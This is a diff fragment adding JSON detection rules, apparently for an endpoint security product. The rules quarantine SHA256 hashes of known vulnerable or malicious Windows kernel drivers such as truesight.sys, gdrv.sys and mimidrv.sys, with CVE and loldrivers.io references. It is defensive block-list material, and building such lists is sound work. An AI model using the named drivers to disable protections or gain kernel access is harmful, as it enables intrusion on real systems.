+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492019Z",
+  "creation_date": "2026-03-23T11:45:31.492021Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492027Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65206a8a5700b4b0f9d8e2fd8e2f761b7af5af9d2d6cbd754da8cc258acd2a76",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51c70e1d-21db-5b56-98ad-6260a58202ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471801Z",
+  "creation_date": "2026-03-23T11:45:30.471804Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4c07f7e7c87518e8950eb0651ae34832b1ecee56c89cdfbd1b4efa8cf97779f",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51cf5dba-c570-5537-88b5-274f7c16af18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836735Z",
+  "creation_date": "2026-03-23T11:45:30.836737Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836743Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de183d93f715ca042b42104b1d9b4151af3a75c97d05c5b2dbc76f152be7c7cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51dea23f-b7d5-59dc-a3b3-89486eb082f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493311Z",
+  "creation_date": "2026-03-23T11:45:31.493313Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13f8fb9643a8d4a721ed8f1ae882d4ef8be6413d7b35feb142e42cf787a086be",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51e9f54c-f453-565a-b5f0-125296cfc08c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828130Z",
+  "creation_date": "2026-03-23T11:45:31.828132Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828138Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05ab8bf3a58a99bb1a0b32df46728bc90bc27ca5c7c544db87a285451b3a6814",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51eb126e-d7dd-5d46-9cd5-a3b0e3cc8766",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609521Z",
+  "creation_date": "2026-03-23T11:45:29.609523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609529Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ede3c99d8a049232cd6baae9d44518a73c19d93230a1d320407a3fc2f506569",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51f2041c-7a8a-5737-b7c7-81ff80a29566",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476692Z",
+  "creation_date": "2026-03-23T11:45:31.476696Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6f817b25ae79245b86072bc94445f9770905847274fe42da5982425721024f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52063f46-ec10-59b2-a17e-689557f8a155",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154367Z",
+  "creation_date": "2026-03-23T11:45:31.154369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154376Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76014259f86bc9d475cee4224a575ef12f3ac36b450243bd95a96bdaa44a6c38",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52081c76-6763-547d-abfb-1c397dc5e058",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620220Z",
+  "creation_date": "2026-03-23T11:45:29.620222Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620227Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50db5480d0392a7dd6ab5df98389dc24d1ed1e9c98c9c35964b19dabcd6dc67f",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "520bda32-7ae7-53de-91fe-7e2de6e096c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974891Z",
+  "creation_date": "2026-03-23T11:45:29.974893Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d33fe3bbcdf1ef7e42faf4ac81d7da3a6451eb67b477e78b75506b0df21cf598",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5212743f-a2e0-5408-8f64-fa5abf38315b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971524Z",
+  "creation_date": "2026-03-23T11:45:29.971526Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab1290211250af83be645072d346693890f3f29feda5a3a23ea97758247f7ba1",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5225b412-128d-508d-8c8f-18dc7e803097",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983526Z",
+  "creation_date": "2026-03-23T11:45:29.983528Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8bce4a327c9e77631c03057b0e45cdbb2e751194d42995c0310e3ccdd3d33b7c",
+  "comment": "Vulnerable Kernel Driver (aka KfeCo10X64.sys) [https://www.loldrivers.io/drivers/3e0bf6dc-791b-4170-8c40-427e7299d93d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5227df82-4230-500e-bbdc-967a6ff44eb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492503Z",
+  "creation_date": "2026-03-23T11:45:31.492505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e68cc70961503821360b0736a94f0467a459663aedbf6796dad4181aa249a8d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "523170c7-5efc-5744-9349-7b2a9becf6b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830221Z",
+  "creation_date": "2026-03-23T11:45:31.830223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830228Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "316e85e43f0045ae7750509fa89e4d48fdb7e47cd531da2256b8a2e6c54e6316",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5237593d-cad5-5f50-abc9-de0dba341973",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465198Z",
+  "creation_date": "2026-03-23T11:45:30.465202Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85b9d7344bf847349b5d58ebe4d44fd63679a36164505271593ef1076aa163b2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "523b942d-1e72-5ff3-b3d1-53f595f974b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459327Z",
+  "creation_date": "2026-03-23T11:45:30.459331Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459340Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26d67d479dafe6b33c980bd1eed0b6d749f43d05d001c5dcaaf5fcddb9b899fe",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "523ed949-7bc9-5147-a3a6-fcd5cae174df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493516Z",
+  "creation_date": "2026-03-23T11:45:31.493519Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493527Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42274df7bd76ccb91baec7223fbb6c984abccf3c705a134a498305458f52e5a8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "523f993f-588a-5540-883f-13cfd924647f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497533Z",
+  "creation_date": "2026-03-23T11:45:31.497537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497546Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de1bdf123f8b92d6250b02c89267823147ce36f1c0fd4fdca1bb18c2eb17952b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "524844ea-7cc0-58f2-bb74-72cc944c3776",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486473Z",
+  "creation_date": "2026-03-23T11:45:31.486476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486484Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9d924ecdc0f37c9ebc71429052105e6493024c59b6990a9c6d5bd5846425be5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "524d68d9-8dea-56b9-a6d0-6be41c9bc78b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145679Z",
+  "creation_date": "2026-03-23T11:45:32.145681Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145687Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16aca71339240826d226f4adbfa73ea7b065f0f2d145d82d6ac2349d2ebba0d2",
+  "comment": "Malicious Kernel Driver (aka driver_930da474.sys) [https://www.loldrivers.io/drivers/4c4e7664-af86-4483-858a-f59346f3d304/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52528de0-a22c-5e68-8ec3-314907fc1416",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824586Z",
+  "creation_date": "2026-03-23T11:45:30.824589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824597Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee43ea46cb984759b46f88360079e5f4e7f80f6c5b177abff3c57ca3ba96069b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "525cf231-0c78-51dd-8dbc-4f44c0842b15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463699Z",
+  "creation_date": "2026-03-23T11:45:30.463703Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463712Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "406b844f4b5c82caf26056c67f9815ad8ecf1e6e5b07d446b456e5ff4a1476f9",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "52622982-f318-500e-968f-42b35bca81bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
